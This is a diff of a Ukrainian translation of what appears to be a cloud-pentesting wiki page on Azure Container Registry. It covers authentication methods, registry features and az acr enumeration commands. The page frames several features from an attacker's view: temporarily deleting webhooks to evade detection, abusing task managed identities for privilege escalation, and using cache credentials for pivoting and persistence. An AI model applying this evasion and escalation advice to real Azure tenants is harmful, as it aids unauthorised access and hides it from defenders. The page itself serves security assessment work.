> Дуже важливо, що навіть якщо назва registry містить великі літери, для login, push і pull images слід завжди використовувати **малі літери**.
|
||||
|
||||
Є 4 способи authenticate до ACR:
|
||||
Є 4 способи автентифікації в ACR:
|
||||
|
||||
- **With Entra ID**: це **default** спосіб authenticate до ACR. Він використовує команду **`az acr login`** для authenticate до ACR. Ця команда **збереже credentials** у файлі **`~/.docker/config.json`**. Крім того, якщо ви запускаєте цю команду з environment без доступу до docker socket, як-от у **cloud shell**, можна використати прапорець **`--expose-token`**, щоб отримати **token** для authenticate до ACR. Потім для authenticate потрібно використовувати як user name `00000000-0000-0000-0000-000000000000`, наприклад: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **With an admin account**: admin user за замовчуванням disabled, але його можна enable, і тоді буде можливо отримати доступ до registry за допомогою **username** і **password** admin account з повними permissions до registry. Це все ще підтримується, оскільки деякі Azure services використовують це. Зверніть увагу, що для цього user створюються **2 passwords**, і обидва є valid. Ви можете enable це за допомогою `az acr update -n <acrName> --admin-enabled true`. Зверніть увагу, що username зазвичай є ім'ям registry (а не `admin`).
|
||||
- **With a token**: можна створити **token** з **specific `scope map`** (permissions) для доступу до registry. Потім можна використовувати ім'я token як username і будь-який із згенерованих passwords для authenticate до registry з `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
- **With a Service Principal**: можна створити **service principal** і призначити роль на кшталт **`AcrPull`** для pull images. Потім буде можливо **login to the registry** використовуючи SP appId як username та згенерований secret як password.
|
||||
- **За допомогою Entra ID**: Це **стандартний** спосіб автентифікації в ACR. Він використовує команду **`az acr login`** для автентифікації в ACR. Ця команда **зберігає credentials** у файлі **`~/.docker/config.json`**. Крім того, якщо ви виконуєте цю команду із середовища без доступу до docker socket, наприклад у **cloud shell**, можна використати прапорець **`--expose-token`**, щоб отримати **token** для автентифікації в ACR. Для автентифікації потрібно використовувати як ім’я користувача `00000000-0000-0000-0000-000000000000`, наприклад: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **За допомогою admin account**: Admin user вимкнений за замовчуванням, але його можна ввімкнути, після чого стане можливим доступ до registry за допомогою **username** і **password** admin account, який має повні permissions для registry. Це досі підтримується, оскільки деякі сервіси Azure його використовують. Зверніть увагу, що для цього користувача створюються **2 passwords**, і обидва є дійсними. Увімкнути його можна за допомогою `az acr update -n <acrName> --admin-enabled true`. Зверніть увагу, що username зазвичай збігається з назвою registry (а не `admin`).
|
||||
- **За допомогою token**: Можна створити **token** із певною **`scope map`** (permissions) для доступу до registry. Потім можна використовувати назву token як username і будь-який зі згенерованих passwords для автентифікації в registry за допомогою `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
- **За допомогою Service Principal**: Можна створити **service principal** і призначити йому role, наприклад **`AcrPull`**, для pull images. Після цього можна **виконати login до registry**, використовуючи appId SP як username і згенерований secret як password.
|
||||
|
||||
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
|
||||
Приклад script із [документації](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) для створення SP з доступом до registry:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
@@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Encryption
|
||||
### Шифрування
|
||||
|
||||
Лише **Premium SKU** підтримує **encryption at rest** для images та інших artifacts.
|
||||
Лише **Premium SKU** підтримує **шифрування at rest** для образів та інших артефактів.
|
||||
|
||||
### Networking
|
||||
### Мережа
|
||||
|
||||
Лише **Premium SKU** підтримує **private endpoints**. Інші підтримують лише **public access**. Public endpoint має формат `<registry-name>.azurecr.io`, а private endpoint має формат `<registry-name>.privatelink.azurecr.io`. З цієї причини ім'я registry має бути унікальним у межах усього Azure.
|
||||
Лише **Premium SKU** підтримує **private endpoints**. Інші підтримують лише **public access**. Public endpoint має формат `<registry-name>.azurecr.io`, а private endpoint — формат `<registry-name>.privatelink.azurecr.io`. Тому назва registry має бути унікальною в усьому Azure.
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
Це дозволяє **сканувати images** у registry на наявність **vulnerabilities**.
|
||||
Це дає змогу **сканувати образи** в registry на наявність **вразливостей**.
|
||||
|
||||
### Soft-delete
|
||||
|
||||
Функція **soft-delete** дозволяє вам **відновити видалений registry** протягом вказаної кількості днів. Ця функція **disabled by default**.
|
||||
Функція **soft-delete** дає змогу **відновити видалений registry** протягом указаної кількості днів. Цю функцію **вимкнено за замовчуванням**.
|
||||
|
||||
### Webhooks
|
||||
|
||||
Усередині registries можна **створювати webhooks**. У цьому webhook потрібно вказати URL, на який **request буде надіслано щоразу, коли виконується push або delete action**. Крім того, Webhooks можуть указувати scope, щоб позначити repositories (images), на які це вплине. Наприклад, 'foo:\*' означає events у межах repository 'foo'.
|
||||
У registries можна **створювати webhooks**. У цьому webhook потрібно вказати URL, на який **надсилатиметься запит щоразу, коли виконується дія push або delete**. Крім того, Webhooks можуть указувати scope, щоб визначити repositories (images), яких це стосуватиметься. Наприклад, `foo:*` означає події в repository `foo`.
|
||||
|
||||
З погляду attackers, корисно перевірити це **перед виконанням будь-якої action** у registry, і тимчасово видалити це, якщо потрібно, щоб уникнути detection.
|
||||
З погляду атакувальника цікаво перевірити це **перед виконанням будь-якої дії** в registry і за потреби тимчасово видалити його, щоб уникнути виявлення.
|
||||
|
||||
### Connected registries
|
||||
|
||||
Це, по суті, дозволяє **mirror images** з одного registry до іншого, зазвичай розташованого on-premises.
|
||||
Це дає змогу **дзеркалити images** з одного registry в інший, зазвичай розташований on-premises.
|
||||
|
||||
Є 2 modes: **ReadOnly** і **ReadWrite**. У першому images лише **pulled** із source registry, а в другому images також можна **pushed** до source registry.
|
||||
Є 2 режими: **ReadOnly** і **ReadWrite**. У першому images лише **отримуються** з source registry, а в другому images також можна **надсилати** до source registry.
|
||||
|
||||
Щоб clients могли access registry з Azure, **token** генерується, коли використовується connected registry.
|
||||
Щоб клієнти могли отримувати доступ до registry з Azure, під час використання connected registry генерується **token**.
|
||||
|
||||
### Runs & Tasks
|
||||
|
||||
Runs & Tasks дозволяє виконувати в Azure container-related actions, які зазвичай потрібно було робити локально або в CI/CD pipeline. Наприклад, ви можете **build, push, and run images in the registry**.
|
||||
Runs & Tasks дає змогу виконувати в Azure дії, пов’язані з containers, які зазвичай потрібно було виконувати локально або в CI/CD pipeline. Наприклад, можна **збирати, надсилати та запускати images у registry**.
|
||||
|
||||
Найпростіший спосіб build і run container — використовувати звичайний Run:
|
||||
Найпростіший спосіб зібрати та запустити container — використати звичайний Run:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
Однак це викличе runs, які не є особливо цікавими з perspective attacker, бо до них не прив’язано жодної managed identity.
|
||||
Однак це запускатиме процеси, які не дуже цікаві з погляду attacker'а, оскільки до них не підключено жодної managed identity.
|
||||
|
||||
Однак, **tasks** можуть мати **system and user managed identity**, прив’язану до них. Саме такі tasks корисні для **escalate privileges** у container. У розділі privileges escalation можна побачити, як використовувати tasks для escalate privileges.
|
||||
Проте **завдання** можуть мати підключену **system та user managed identity**. Саме ці завдання корисні для **ескалації привілеїв** у контейнері. У розділі про ескалацію привілеїв показано, як використовувати завдання для ескалації привілеїв.
|
||||
|
||||
### Cache
|
||||
|
||||
Функція cache дозволяє **download images from an external repository** і зберігати нові версії в registry. Для цього потрібно мати налаштовані **credentials**, вибрані з Azure Vault.
|
||||
Функція cache дозволяє **завантажувати образи із зовнішнього репозиторію** та зберігати нові версії в registry. Для цього потрібно мати **налаштовані облікові дані**, вибравши їх з Azure Vault.
|
||||
|
||||
Це дуже цікаво з perspective attacker, тому що дозволяє **pivot to an external platform**, якщо attacker має достатньо permissions для доступу до credentials, **download images from an external repository**, а налаштування cache також може використовуватися як **persistence mechanism**.
|
||||
Це дуже цікаво з погляду attacker'а, оскільки дозволяє виконати **pivot до зовнішньої платформи**, якщо attacker має достатні дозволи для доступу до облікових даних. **Завантаження образів із зовнішнього репозиторію** та налаштування cache також можуть використовуватися як **механізм persistence**.
|
||||
|
||||
## Enumeration
|
||||
## Розвідка
|
||||
|
||||
> [!WARNING]
|
||||
> Дуже важливо, що навіть якщо registry name містить деякі uppercase letters, для доступу до нього в url слід використовувати лише lowercase letters.
|
||||
> Дуже важливо: навіть якщо назва registry містить великі літери, для доступу до нього через URL слід використовувати лише малі літери.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
@@ -143,19 +143,23 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Несанкціонований доступ
|
||||
## Неавтентифікований доступ
|
||||
|
||||
{{#ref}}
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## Підвищення привілеїв & Post Exploitation
|
||||
## Підвищення привілеїв і Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-container-registry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
Reference in New Issue
Block a user